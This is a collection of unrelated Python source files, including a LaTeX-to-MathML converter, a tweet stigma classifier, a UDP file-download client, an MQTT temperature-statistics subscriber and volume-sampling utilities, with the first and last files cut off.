e)\n e = re.sub(r'\\\\mbox{([^}]*)}', '\"\\\\1\"', e)\n e = re.sub(r'\\\\mathrm{([^}]*)}', '\"\\\\1\"', e)\n e = re.sub(r'\\\\begin{.*}', '', e)\n e = re.sub(r'\\\\end{.*}', '', e)\n return e\n\n\ndef convert(eqns, out_dir):\n if not os.path.isdir(out_dir):\n os.mkdir(out_dir)\n\n for i, e in enumerate(eqns):\n e = process_latex(e)\n\n try:\n mathml = latex2mathml.converter.convert(e)\n except Exception as err:\n print('Error: Couldn\\'t convert Eqn {}:\\n{}'.format(i, err), file=sys.stderr)\n continue\n\n mathml = unescape(mathml)\n mathml = mathml.replace('', '')\n\n out_file = os.path.join(out_dir, 'eqn{:04d}.mathml'.format(i))\n\n with open(out_file, 'w') as out:\n print(mathml, file=out)\n\n print('Eqn {} successfully converted'.format(i), file=sys.stderr)\n\n\nif __name__ == '__main__':\n latex_file = 'equations.tex'\n output_dir = 'mathml_output'\n latex = read_latex(latex_file)\n convert(latex, out_dir=output_dir)\n\n","sub_path":"convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"64134778","text":"## Creating a Stigma Classification Model for Tweets\n\nimport nltk\nimport pandas as pd\nimport re\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nimport string\nfrom textblob.classifiers import NaiveBayesClassifier\nfrom textblob import TextBlob\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nstopwords = nltk.corpus.stopwords.words('english')\nps = nltk.PorterStemmer()\npd.set_option('display.max_columns', 500)\n\n##########################################\n## (0) Import Data\n##########################################\nfn = r'C:\\Users\\K1774755\\PycharmProjects\\data\\tweet_data_testing.csv'\ndata = pd.read_csv(fn, header=None, encoding='Latin1',\n names=['label', 'tweet_nb', 'date', 'topic', 'user', 'body_text'])\ndata = data[['label', 'body_text']]\nprint(\"The first 5 rows of the dataset look like:\")\ndata.head()\n\nprint(\"the number of rated tweets by category:\")\ndata.groupby('label')['body_text'].nunique()\ndata.label.replace('o', \"0\", inplace=True)\n\n## Now we are making this a binary classification problem by only keeping the 0s and 2s.\n# We will also drop the tweets with missing labels\n# 0 = Not stigmatizing\n# 1 = Stigmatizing\n# 0 = negative\n# 2 = neutral\n# 4 = positive\n\ndata = data[data.label != '1']\ndata['label'] = data.label.replace('2', '1')\ndata = data.dropna()\nprint(\n \"the data after pre-processing and cleaning, which includes converting the classifications into a binary model, looks like:\")\n\n\n##########################################\n## (0) Feature extraction\n##########################################\n\n# Calculate sentiment and subjectivity for each tweet. We will use these values as features in our model.\n# i.e. are tweets that are classed as stigmatizing more negative?\ndef sentAnal(df):\n for index, row in df.iterrows():\n temp = TextBlob(row['body_text'])\n df.loc[index, 'Sentiment'] = temp.sentiment.polarity\n df.loc[index, 'Subjectivity'] = temp.sentiment.subjectivity\n return df\n\n\ndata = sentAnal(data)\n\n\ndef count_punct(text):\n count = sum([1 for char in text if char in string.punctuation])\n return round(count / (len(text) - text.count(\" \")), 3) * 100\n\n\ndata['body_len'] = data['body_text'].apply(lambda x: len(x) - x.count(\" \"))\ndata['punct%'] = data['body_text'].apply(lambda x: count_punct(x))\n\n\ndef clean_text(text):\n text = \"\".join([word.lower() for word in text if word not in string.punctuation])\n tokens = re.split('\\W+', text)\n text = [ps.stem(word) for word in tokens if word not in stopwords]\n return text\n\n\ndef avg_word(sentence):\n words = sentence.split()\n return (sum(len(word) for word in words) / len(words))\n\n\n# Average Word Length. simply take the sum of the length of all the words and divide it by the total length of the tweet as defined in function above\ndata['avg_word'] = data['body_text'].apply(lambda x: avg_word(x))\n# Number of Words in tweet\ndata['word_count'] = data['body_text'].apply(lambda x: len(str(x).split(\" \")))\n# Number of characters. Here, we calculate the number of characters in each tweet. This is done by calculating the length of the tweet.\ndata['char_count'] = data['body_text'].str.len() ## this also includes spaces\n# number of special characters like hashtags. we make use of the ‘starts with’ function because hashtags (or mentions) always appear at the beginning of a word.\ndata['hastags'] = data['body_text'].apply(lambda x: len([x for x in x.split() if x.startswith('#')]))\n# number of numerics in tweet\ndata['numerics'] = data['body_text'].apply(lambda x: len([x for x in x.split() if x.isdigit()]))\n# number of UPPERCASE words. Anger or rage is quite often expressed by writing in UPPERCASE words which makes this a necessary operation to identify those words.\ndata['upper'] = data['body_text'].apply(lambda x: len([x for x in x.split() if x.isupper()]))\n\n## Add spelling correction? This takes ages and maybe we lose meaning?\n# data['body_text'].apply(lambda x: str(TextBlob(x).correct()));\n\n## remove rare words?\nfreq = pd.Series(' '.join(data['body_text']).split()).value_counts()[-10:]\n\nfreq = list(freq.index)\ndata['body_text'] = data['body_text'].apply(lambda x: \" \".join(x for x in x.split() if x not in freq))\n\nprint(\"lets correlate our features. Here is a correlation matrix of our features:\")\ncorr = data.corr()\ncorr.style.background_gradient()\nprint(\"label 0 = not stigmatizing tweets\")\nprint(\"label 1 = stigmatizing tweets\")\nprint(\"higher sentiment value = positive sentiment\")\nsns.catplot(data=data, x='label', y='Sentiment', height=3, kind='bar');\nsns.catplot(data=data, x='label', y='Subjectivity', height=3, kind='bar')\n\n##########################################\n# (0) Split Data into training/testing sets\n##########################################\n# making cols variable so that we have all feature columns names except our label\ncols = data[data.columns.difference([\"label\"])].columns\n\nfrom sklearn.model_selection import train_test_split\n\nX_train, X_test, y_train, y_test = train_test_split(data[cols], data['label'], test_size=0.2)\n\nprint(\"The size of each training and testing datasets are:\")\nprint(X_train.shape)\nprint(X_test.shape)\nprint(y_train.shape)\nprint(y_test.shape)\n\n##########################################\n# (0) vectorize text\n##########################################\n# Using inverse document frequency weighting (TF_IDF). This vectorizing method still creates a document term matrix (i.e. one row per tweet and columns representing single unique words), but with tfidf, instead of the cells representing the count, they represent a weighting that's meant to identify how important a word is to an individual tweet. The rarer the word is, the higher the tfifd value will be. This method helps to pull out important (but seldom used) words.\n\ncols = data[data.columns.difference([\"label\", \"body_text\"])].columns\n\n# Instantiate the v\ntfidf_vect = TfidfVectorizer(analyzer=clean_text)\ntfidf_vect_fit = tfidf_vect.fit(X_train['body_text'])\n\ntfidf_train = tfidf_vect_fit.transform(X_train['body_text'])\ntfidf_test = tfidf_vect_fit.transform(X_test['body_text'])\n\nX_train_vect = pd.concat([X_train[cols].reset_index(drop=True),\n pd.DataFrame(tfidf_train.toarray(), columns=tfidf_vect.get_feature_names())], axis=1)\n\nX_test_vect = pd.concat([X_test[cols].reset_index(drop=True),\n pd.DataFrame(tfidf_test.toarray(), columns=tfidf_vect.get_feature_names())], axis=1)\n\nprint(X_train_vect.shape)\nprint(\"Our vectorized data looks like:\")\nX_train_vect\n\nprint(\"the number of times each word appears in our document term matrix:\")\ntfidf_vect_fit.vocabulary_\n\n'''\nMake and evaluate models\nTo evaluate each model, we will use three evaluation metrics:\n(1) Accuracy = # predicted correctly / total # of observations\n(2) Precision = # predicted as 1 that are actually 1 (i.e. true positives) / total # that the model predicted as 1.\n(3) Recall = # predicted to be 1 that are actually 1 (i.e. true positives; the same numerator as precision) / total # that are actually 1 (instead of the total number that are predicted as 1)\n'''\n\n##########################################\n# (1) Random Forest Classifier\n##########################################\nfrom sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier\nfrom sklearn.metrics import precision_recall_fscore_support as score\nimport time\n\nrf = RandomForestClassifier(n_estimators=150, max_depth=None, n_jobs=-1, random_state=0)\n# n_estimators is how many decision trees that will be built within your random forest, so the default is 10. These defaults mean, your random forest would build 10 decision trees of unlimited depth. Then, there would be a vote among these 10 trees to determine the final prediction.\n# max depth basically means that it will build each decision tree until it minimizes some loss criteria.\n\nstart = time.time()\nrf_model = rf.fit(X_train_vect, y_train)\nend = time.time()\nfit_time = (end - start)\n\nstart = time.time()\ny_pred = rf_model.predict(X_test_vect)\nend = time.time()\npred_time = (end - start)\n\nprecision, recall, fscore, train_support = score(y_test, y_pred, pos_label=1)\nprint('Fit time: {} / Predict time: {} ----\\n\\n **Precision: {} \\n\\n **Recall: {} \\n\\n **Accuracy: {}'.format(\n fit_time, pred_time, precision.mean(), recall.mean(), (y_pred == y_test).sum() / len(y_pred)))\nprint(\"The most important features are:\")\nsorted(zip(rf_model.feature_importances_, X_train.columns), reverse=True) # [0:10]\n\n##########################################\n# (2) Random Forest with Gradient Boost\n##########################################\n\ngb = GradientBoostingClassifier(n_estimators=150, max_depth=11)\n\nstart = time.time()\ngb_model = gb.fit(X_train_vect, y_train)\nend = time.time()\nfit_time = (end - start)\n\nstart = time.time()\ny_pred = gb_model.predict(X_test_vect)\nend = time.time()\npred_time = (end - start)\n\nprecision, recall, fscore, train_support = score(y_test, y_pred, pos_label=1, average='weighted')\nprint('Fit time: {} / Predict time: {} ----\\n\\n **Precision: {} \\n\\n **Recall: {} \\n\\n **Accuracy: {}'.format(\n fit_time, pred_time, precision, recall, ((y_pred == y_test).sum() / len(y_pred))))\n\nprint(\"The most important features are:\")\nsorted(zip(gb_model.feature_importances_, X_train.columns), reverse=True) # [0:10]\n\n##########################################\n## (3) K Nearest Neighbour\n##########################################\nfrom sklearn.neighbors import KNeighborsClassifier\n\nknClas = KNeighborsClassifier(n_neighbors=5, n_jobs=-1)\n# Fit the model using X as training data and y as target values\nknClas.fit(X_train_vect, y_train)\nKNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski',\n metric_params=None, n_jobs=-1, n_neighbors=5, p=2,\n weights='uniform')\n# Predict the class labels for the provided data\npred = knClas.predict(X_test_vect)\nlen(pred)\nfrom sklearn.metrics import accuracy_score\n\nkn_accuracy = accuracy_score(y_test, pred)\n\nprint('Accuracy of K Nearest Neighbours model: {}%'.format(kn_accuracy * 100))\nfrom sklearn.metrics import classification_report, confusion_matrix\n\nprint(confusion_matrix(y_test, pred))\nprint(classification_report(y_test, pred))\n\nfrom sklearn.metrics import average_precision_score, precision_score, recall_score\n\nkn_precision1 = pd.DataFrame(y_test).reset_index().astype(float)\nkn_precision2 = pd.DataFrame(pred).astype(float)\nkn_precision = pd.concat([kn_precision1, kn_precision2], axis=1).rename(columns={0: 'label_comp'})\n## Kn precision score\n# Precision = # predicted as stigmatizing that are actually stigmatizing / total # predicted as stigmatizing\n\nkn_precision_score = (((kn_precision['label'] == 1) & (kn_precision['label_comp'] == 1)).sum()) / (\n (kn_precision['label_comp'] == 1).sum()) * 100\nprint('Precision of K Nearest Neighbours model: {}%'.format(kn_precision_score))\n\n# Kn recall score\n# Recall = # predicted as stigmatizing that are actually stigmatizing / total # that are actually stigmatizing\n\nkn_recall_score = (((kn_precision['label'] == 1) & (kn_precision['label_comp'] == 1)).sum()) / (\n (kn_precision['label'] == 1).sum()) * 100\nprint('Recall of K Nearest Neighbours model: {}%'.format(kn_recall_score))\n\n##########################################\n## 4) Support Vector Machine (SVM) Classifier\n##########################################\nfrom sklearn.svm import SVC\n\nsvmClas = SVC()\nsvmClas.fit(X_train_vect, y_train);\npred = svmClas.predict(X_test_vect);\nsvmAccuracy = accuracy_score(y_test, pred)\nprint('Accuracy of SVM model: {}%'.format(svmAccuracy * 100))\nprint(confusion_matrix(y_test, pred))\nprint(classification_report(y_test, pred))\n\nsvm_precision1 = pd.DataFrame(y_test).reset_index().astype(float)\nsvm_precision2 = pd.DataFrame(pred).astype(float)\nsvm_precision = pd.concat([svm_precision1, svm_precision2], axis=1).rename(columns={0: 'label_comp'})\n\n## svm precision score\n# Precision = # predicted as stigmatizing that are actually stigmatizing / total # predicted as stigmatizing\n\nsvm_precision_score = (((svm_precision['label'] == 1) & (svm_precision['label_comp'] == 1)).sum()) / (\n (svm_precision['label_comp'] == 1).sum()) * 100\nprint('Precision of svm model: {}%'.format(svm_precision_score))\n# svm recall score\n# Recall = # predicted as stigmatizing that are actually stigmatizing / total # that are actually stigmatizing\n\nsvm_recall_score = (((svm_precision['label'] == 1) & (svm_precision['label_comp'] == 1)).sum()) / (\n (svm_precision['label'] == 1).sum()) * 100\nprint('Recall of svm model: {}%'.format(svm_recall_score))\n\n##########################################\n## (5) SVM with a linear kernel\n##########################################\nsvmClas = SVC(kernel='linear')\nsvmClas.fit(X_train_vect, y_train)\npred = svmClas.predict(X_test_vect)\nsvmAccuracy = accuracy_score(y_test, pred)\nprint('Accuracy of linear SVM classifier: {}%'.format(svmAccuracy * 100))\nprint(confusion_matrix(y_test, pred))\nprint(classification_report(y_test, pred))\n\n##########################################\n## (6) SVM with a sigmoid kernel\n##########################################\n# Now trying new parameters\nsvmClas = SVC(kernel='sigmoid')\nsvmClas.fit(X_train_vect, y_train)\npred = svmClas.predict(X_test_vect)\nsvmAccuracy = accuracy_score(y_test, pred)\nprint('Accuracy of linear SVM classifier: {}%'.format(svmAccuracy * 100))\nprint(confusion_matrix(y_test, pred))\nprint(classification_report(y_test, pred))\n\n##########################################\n## (7) SVM with a poly kernel\n##########################################\n# Now trying new parameters\nsvmClas = SVC(kernel='poly')\nsvmClas.fit(X_train_vect, y_train)\npred = svmClas.predict(X_test_vect)\nsvmAccuracy = accuracy_score(y_test, pred)\nprint('Accuracy of linear SVM classifier: {}%'.format(svmAccuracy * 100))\nprint(confusion_matrix(y_test, pred))\nprint(classification_report(y_test, pred))\n\n##########################################\n## (8) Naive Bayesian Classifer\n##########################################\nfrom sklearn.naive_bayes import GaussianNB, BernoulliNB, MultinomialNB\n\ngnb = GaussianNB()\ngnb.fit(X_train_vect, y_train)\nGaussianNB(priors=None)\npred = gnb.predict(X_test_vect)\ngnbAccuracy = accuracy_score(y_test, pred)\nprint('Accuracy of gnb classifier: {}%'.format(gnbAccuracy * 100))\nprint(confusion_matrix(y_test, pred))\nprint(classification_report(y_test, pred))\n","sub_path":"courses_tutorials/NLP_courses_and_tutorials/sentiment_analysis_sagar.py","file_name":"sentiment_analysis_sagar.py","file_ext":"py","file_size_in_byte":14357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"185305332","text":"import logging\nfrom collections import Counter\n\nDIGIT_NAMES = [\n \"ZERO\",\n \"ONE\",\n \"TWO\",\n \"THREE\",\n \"FOUR\",\n \"FIVE\",\n \"SIX\",\n \"SEVEN\",\n \"EIGHT\",\n \"NINE\",\n]\n\ndef solve(s):\n counter = Counter(s)\n ans = {}\n def guess(digit, letter):\n digits_count = counter[letter]\n ans[digit] = digits_count\n for letter in DIGIT_NAMES[digit]:\n counter[letter] -= digits_count\n\n guess(0, \"Z\")\n guess(6, \"X\")\n guess(4, \"U\")\n guess(5, \"F\")\n guess(8, \"G\")\n guess(7, \"S\")\n guess(9, \"I\")\n guess(2, \"W\")\n guess(1, \"O\")\n guess(3, \"T\")\n\n return \"\".join(map(lambda d: str(d) * ans[d], range(10)))\n\ndef parse_problems():\n import fileinput\n fin = fileinput.input()\n\n T = int(next(fin))\n for _ in range(T):\n yield next(fin).strip()\n\ndef main():\n import time\n logging.basicConfig(level=logging.INFO, format=\"%(message)s\")\n\n t0 = time.time()\n logging.info(\"Starting...\")\n\n for i, p in enumerate(parse_problems()):\n ans = solve(p)\n logging.info(\"Solved #%d\", i + 1)\n print(\"Case #{}: {}\".format(i + 1, ans))\n logging.info(\"Finished in %.2f s\", time.time() - t0)\n\nif __name__ == '__main__':\n main()\n","sub_path":"solutions_5648941810974720_1/Python/liar/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"352250304","text":"#pylint:disable=line-too-long\nimport scipy.stats as st\nfrom ... import Printable\n\nclass FieldValueRegression(Printable):\n field_value = 0\n count: None\n mean: None\n var: None\n std: None\n min: None\n max: None\n median: None\n next_field: None\n best_fit: None\n fit_parameter: ''\n\n def __init__(self, randomstate):\n self.randomstate = randomstate\n\n def get_field_value(self):\n\n if self.count > 1:\n if self.best_fit is not None:\n best_dist = getattr(st, self.best_fit)\n params = list(map(float, self.fit_parameter.split(',')))\n arg = params[:-2]\n loc = params[-2]\n scale = params[-1]\n s = best_dist.rvs(*arg, loc=loc, scale=scale) if arg else best_dist.rvs(loc=loc, scale=scale)\n while s < self.min or s > self.max:\n s = best_dist.rvs(*arg, loc=loc, scale=scale) if arg else best_dist.rvs(loc=loc, scale=scale)\n return round(s, 2)\n\n mean, std = self.mean, self.std\n\n if not mean:\n mean = 0\n\n if not std:\n std = 0\n\n s = self.randomstate.normal(mean, std, 1)\n while s[0] < self.min or s[0] > self.max:\n s = self.randomstate.normal(mean, std, 1)\n return round(s[0], 2)\n","sub_path":"datahub_core/models/markov/field_value_regression.py","file_name":"field_value_regression.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"498492178","text":"myList = list();\n\ndef MIN_ELEMENTS():\n min = myList[0];\n for i in myList:\n if(i < min):\n min = i;\n print(min);\n\nif (__name__ == \"__main__\"):\n elements = int(input(\"Number of elements :\"));\n for n in range(elements):\n num = int(input());\n myList.append(num);\n\n MIN_ELEMENTS();\n","sub_path":"Assignment 3/Assignment3_3.py","file_name":"Assignment3_3.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"392947028","text":"import socket\nimport struct\nimport pickle\nimport os\n\nserver_ip = '172.18.61.253'\nserver_port = 5400\nfilepath = os.path.dirname(os.path.abspath(__file__))\n\ndef get(client):\n obj = client.recvfrom(4)[0]\n header_size = struct.unpack('i', obj)[0]\n if header_size == 0:\n print('我觉得你可能打错了文件名 |w ·)')\n else:\n header_types = client.recvfrom(header_size)\n header = pickle.loads(header_types[0])\n print(header)\n file_size = header['file_size']\n file_name = header['file_name']\n with open('%s\\\\%s' % (filepath, file_name), 'wb') as f:\n recv_size = 0\n while recv_size < file_size:\n res = client.recvfrom(1024)\n f.write(res[0])\n recv_size += len(res[0])\n print('一共有这么大:%s B 你已经下载了:%s B' % (file_size, recv_size))\n print('下完啦 (0 V 0)')\n\ndef run():\n client = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\n while True:\n msg = input(\"你想下载的文件叫什么名字呢: \").strip()\n client.sendto(msg.encode('utf-8'), (server_ip, server_port))\n get(client)\n client.close()\n\nif __name__ == '__main__':\n run()\n","sub_path":"client_udp.py","file_name":"client_udp.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"491650509","text":"import argparse\nimport os\nimport codecs\nimport logging\n\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument('-i', '--input', type=str, required=True, help=\"Input folder.\")\n parser.add_argument('-o', '--output', type=str, required=True, help=\"Output folder.\")\n args = vars(parser.parse_args())\n\n if not os.path.exists(args[\"input\"]):\n logging.error(\"Please enter an existing input folder.\")\n if not os.path.exists(args[\"output\"]):\n os.mkdir(args[\"output\"])\n else:\n for file in os.listdir(args[\"input\"]):\n source_sequences = []\n targets = []\n\n full_path = os.path.join(args[\"input\"], file)\n if not os.path.isdir(full_path):\n [name, extension] = file.split(\".\")\n\n # Check if this is an already separated file\n if \"src\" in name or \"tgt\" in name:\n continue\n\n with codecs.open(full_path, 'r', 'utf-8') as f:\n for line in f:\n [source, target] = line.split(\"\\t\")\n source_sequences.append(source.strip())\n targets.append(target.strip())\n\n with codecs.open(os.path.join(args[\"output\"], \"{}_{}.{}\".format(name, \"src\", extension)), 'w', 'utf-8') as f:\n f.write(\"\\n\".join(source_sequences))\n\n with codecs.open(os.path.join(args[\"output\"], \"{}_{}.{}\".format(name, \"tgt\", extension)), 'w', 'utf-8') as f:\n f.write(\"\\n\".join(targets))\n","sub_path":"process_data/separate_files_in_folder.py","file_name":"separate_files_in_folder.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"97609179","text":"import time\nfrom termcolor import colored, cprint\nfrom google.cloud import logging\nimport datetime\n\ndef print_error_lines(lines):\n for line in lines:\n print(colored(line, \"red\"))\n\ndef print_entry(entry):\n payload = entry.payload\n if payload[-1] == \"\\n\":\n payload = payload[:-1]\n timestamp = entry.timestamp.astimezone()\n payload_lines = payload.split(\"\\n\")\n if payload_lines[-1] == \"\":\n del payload_lines[-1]\n prefix = None\n for line in payload_lines:\n if prefix is None:\n prefix = \"[{}]\".format(timestamp.strftime(\"%H:%M:%S\"))\n print(colored(prefix, \"green\"), colored(line, \"yellow\"))\n else:\n print(colored(\" \"*len(prefix), \"white\"), colored(line, \"yellow\"))\n\ndef _get_log_stream(client, project_id, task_id, next_token_ref, time_between_polls=2):\n timestamp_str = ( datetime.datetime.now(datetime.timezone(datetime.timedelta(hours=0))) - datetime.timedelta(minutes=10) ).isoformat('T')\n last_batch_size = 0\n start_index = 0\n # this feels very complicated, but seems to work with the API that I've been given. The issue is I've only got the previous page,\n # so when I fetch the next page a second time, keep track of how many records into it to skip.\n # perhaps changing the iterator into an explict fetch by page token might make the logic clearer\n while True:\n iterator = client.list_entries(filter_=\"logName=\\\"projects/{}/logs/{}\\\" AND Timestamp > \\\"{}\\\"\".format(project_id, task_id, timestamp_str), page_token=next_token_ref[0], page_size=50)\n for page in iterator.pages:\n entries = list(page)\n if iterator.next_page_token is not None:\n next_token_ref[0] = iterator.next_page_token\n else:\n last_batch_size = len(entries)\n\n for entry in entries[start_index:]:\n print_entry(entry)\n start_index = 0\n\n if last_batch_size < 50:\n start_index = last_batch_size\n\n last_poll_complete = time.time()\n yield\n # make sure we can't hit the logging API too frequently\n time_remaining = time_between_polls - (time.time() - last_poll_complete)\n if time_remaining > 0:\n time.sleep(time_remaining)\n\nclass LogMonitor:\n def __init__(self, project_id, task_id):\n self.client = logging.Client(project=project_id)\n self.project_id = project_id\n self.task_id = task_id\n self.next_token_ref = [None]\n self.reset()\n \n def reset(self):\n self.stream = _get_log_stream(self.client, self.project_id, self.task_id, self.next_token_ref)\n \n def poll(self):\n next(self.stream) \n\n\n","sub_path":"kubeque/logclient.py","file_name":"logclient.py","file_ext":"py","file_size_in_byte":2709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"286680765","text":"import paho.mqtt.client as mqtt\nimport statistics as st\nimport json\nimport os.path\nimport re\nimport asyncio\nimport websockets\n\nfrom threading import Timer\nfrom datetime import datetime\n\nSERVER = '147.228.124.230' # RPi\nTOPIC = 'ite/#'\n\nteam_names = [\"black\", \"blue\", \"green\", \"orange\", \"pink\", \"red\", \"yellow\"]\nstats = [\"prumerna\", \"median\", \"maximalni\", \"minimalni\", \"posledni\"]\n\ndict_data = {}\ndict_timeMarks = {}\n\ndef getDate(str_createdOn):\n list_temp = str_createdOn.split(\"T\")\n list_date = list_temp[0].split(\"-\")\n return list_date\n\ndef getActDayListTemps(List_timeMarks):\n now = datetime.now()\n year = now.strftime(\"%Y\")\n month = now.strftime(\"%m\")\n day = now.strftime(\"%d\")\n list_temps = []\n\n for item_TM in List_timeMarks.items():\n date = getDate(item_TM[0])\n if ((date[0] == year) and (date[1] == month) and (date[2] == day)):\n list_temps.append(item_TM[1])\n return list_temps\n\ndef getStatistic(stat, data):\n if stat == \"prumerna\":\n return st.mean(data)\n elif stat == \"median\":\n return st.median(data)\n elif stat == \"maximalni\":\n return max(data)\n elif stat == \"minimalni\":\n return min(data)\n elif stat == \"posledni\":\n return data[-1]\n else:\n return None\n\ndef statistics(List_timeMarks):\n global stats\n dict_stat = {}\n tempList = getActDayListTemps(List_timeMarks)\n\n for stat in stats:\n if len(tempList) >= 1:\n dict_stat[stat] = '%0.1f' % round(getStatistic(stat, tempList), 1)\n else:\n dict_stat[stat] = \"No data\"\n\n return dict_stat\n\ndef on_connect(client, userdata, mid, qos):\n print('Connected with result code qos:', str(qos))\n client.subscribe(TOPIC)\n\ndef getCorrectData(stringReceived):\n stringReceived = stringReceived[1:-1]\n dataSeparated = stringReceived.split()\n \n correctData = {}\n correctData[\"source\"] = \"fake\"\n correctData[\"team_name\"] = dataSeparated[3][1:-2]\n correctData[\"created_on\"] = fixTime(dataSeparated[5][1:-9])\n correctData[\"temperature\"] = float(re.sub(r'[a-zA-Z]', '.', dataSeparated[7]))\n \n return correctData\n\ndef fixTime(time):\n fixes = {4: \"-\", 7: \"-\", 13: \":\", 16: \":\"}\n for key, item in fixes.items():\n time = time[:key] + item + time[key+1:]\n return time\n\ndef on_message(client, userdata, msg):\n global team_names, dict_data, dict_timeMarks\n\n if (msg.payload == 'Q'):\n client.disconnect()\n\n dict_msg_str = str(msg.payload.decode(\"utf-8\",\"ignore\"))\n print(dict_msg_str)\n\n try:\n dict_msg = getCorrectData(dict_msg_str)\n print(json.dumps(dict_msg)+\"\\n\")\n except:\n print(\"An error occured while trying to repair data\")\n return\n\n team = dict_msg[\"team_name\"]\n if team in team_names:\n dict_timeMarks[team][dict_msg[\"created_on\"]] = dict_msg[\"temperature\"]\n dict_data[team] = statistics(dict_timeMarks[team])\n dict_data[team][\"cas\"] = getLastUpdateTime(team)\n dict_data[team][\"online\"] = True\n\n writeToFile(\"./Webovka/assets/data.json\", json.dumps(dict_data, indent = 4))\n writeToFile(\"./temperatures/\"+team+\".json\", json.dumps(dict_timeMarks[team], indent=4))\n\n asyncio.new_event_loop().run_until_complete(send_message(\"broadcast \"+json.dumps(dict_data)))\n \nasync def send_message(message):\n address = 'ws://localhost:8881/websocket'\n try:\n async with websockets.connect(address) as ws:\n await ws.send(message)\n except:\n print(\"Could not establish connection with address \"+address)\n\ndef writeToFile(path, data):\n try:\n with open(path, \"w+\") as f:\n f.write(data)\n f.close()\n except:\n print(\"An error occured while trying to write to json file\")\n\ndef readDataFromJson(path):\n data = None\n if not os.path.exists(path):\n return None\n try:\n with open(path, \"r\") as f:\n data = json.load(f)\n f.close()\n except:\n print(\"An error occured while trying to read data from file \"+path)\n\n return data\n\ndef getStoredDict(dictionary):\n if dictionary == None:\n return {}\n else:\n return dictionary\n\ndef getLastUpdateTime(team):\n last_time = list(dict_timeMarks[team].keys())[-1]\n if last_time == None:\n return \"No data\"\n else:\n return last_time\n\ndef main():\n global team_names, dict_timeMarks\n\n for team in team_names:\n dict_timeMarks[team] = getStoredDict(readDataFromJson(\"./temperatures/\"+team+\".json\"))\n dict_data[team] = statistics(dict_timeMarks[team])\n dict_data[team][\"cas\"] = getLastUpdateTime(team)\n dict_data[team][\"online\"] = False\n client = mqtt.Client()\n client.on_connect = on_connect\n client.on_message = on_message\n client.username_pw_set('mqtt_student', password='pivo')\n client.connect(SERVER, 1883, 60)\n client.loop_forever()\n\n\nif __name__ == '__main__':\n main()","sub_path":"Python/mqtt_subscriber_v1.py","file_name":"mqtt_subscriber_v1.py","file_ext":"py","file_size_in_byte":4968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"281952839","text":"\"\"\"\nUtilities for sampling geometrically representative examples.\n\nroger.bermudez@epfl.ch\nCVLab EPFL 2018\n\"\"\"\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom scipy.ndimage.morphology import binary_erosion as erode, binary_dilation as dilate\nfrom scipy.ndimage import generate_binary_structure as binary_structure, distance_transform_edt as distance_transform, zoom\nfrom scipy.ndimage.filters import gaussian_filter\nfrom skimage.feature import peak_local_max\nfrom .volume import get_subvolume, get_rotation_safe_shape\nfrom .correspondences import get_best_ncc\nfrom os.path import expanduser, isfile as file_exists\n\nimport logging\n\n\n# Weight as functions of the distance\n\n\ndef constant_weight(x, **kwparams):\n '''\n Same weight regardless of distance to border.\n '''\n return np.ones((len(x), )) / len(x)\n\n\ndef linear_weight(x, max_dist=5, **kwparams):\n '''\n Weight decreases linearly with distance to border.\n Voxels further than max_dist away from border do not receive any weight.\n '''\n weight = (max_dist - x) * ((max_dist - x) > 0)\n return weight / weight.sum()\n\n\ndef inverse_weight(x, **kwparams):\n '''\n Weight decreases exponentially with distance to border.\n '''\n weight = 1 / x\n return weight / weight.sum()\n\n\ndef exponential_weight(x, sigma=1, **kwparams):\n '''\n Weight decays exponentially with distance.\n '''\n weight = np.exp(-x / sigma)\n return weight / weight.sum()\n\n\nweight_functions = {\n 'constant_weight': constant_weight,\n 'linear_weight': linear_weight,\n 'inverse_weight': inverse_weight,\n 'exponential_weight': exponential_weight\n}\n\n\ndef validate_sample_coords(volume, sample_coords, shape):\n '''\n Make sure all sample_coords can generate a volume of the expected shape.\n '''\n def valid(sample_coord):\n patch = get_subvolume(volume, shape, sample_coord)\n if patch.shape != shape:\n print(f\"failed at {sample_coord}: {shape}!={patch.shape}\")\n return False\n return True\n\n return all(map(valid, sample_coords))\n\n\ndef view_weight_functions(test_range=np.arange(1, 10, 1)):\n '''\n Visualize behavior of weight functions.\n '''\n plt.plot(test_range, constant_weight(test_range))\n plt.plot(test_range, linear_weight(test_range), linestyle=\"-\")\n plt.plot(test_range, inverse_weight(test_range), linestyle=\"--\")\n plt.plot(test_range, exponential_weight(test_range, sigma=.8), linestyle=\":\")\n plt.title(\"Different weight functions\")\n plt.legend(['constant', 'linear', 'inverse', 'exponential']);\n\n\ndef get_negative_candidates(labels, volume_ref, coords_ref,\n zoom_factor=0.25,\n dilation_pre=0,\n dilation_post=0,\n template_size=(75, 75, 75),\n label_smoothing_sigma=0.5,\n num_orientations=1,\n min_match_quality=0.2,\n min_separation=None,\n weight_function='exponential_weight',\n weight_function_params={},\n relative_ncc_weight=0.5, **kwparams):\n logging.info(\"Preprocessing data.\")\n struct = binary_structure(labels.ndim, 1)\n preprocessed_labels = labels\n if dilation_pre != 0:\n preprocessed_labels = dilate(preprocessed_labels, struct, 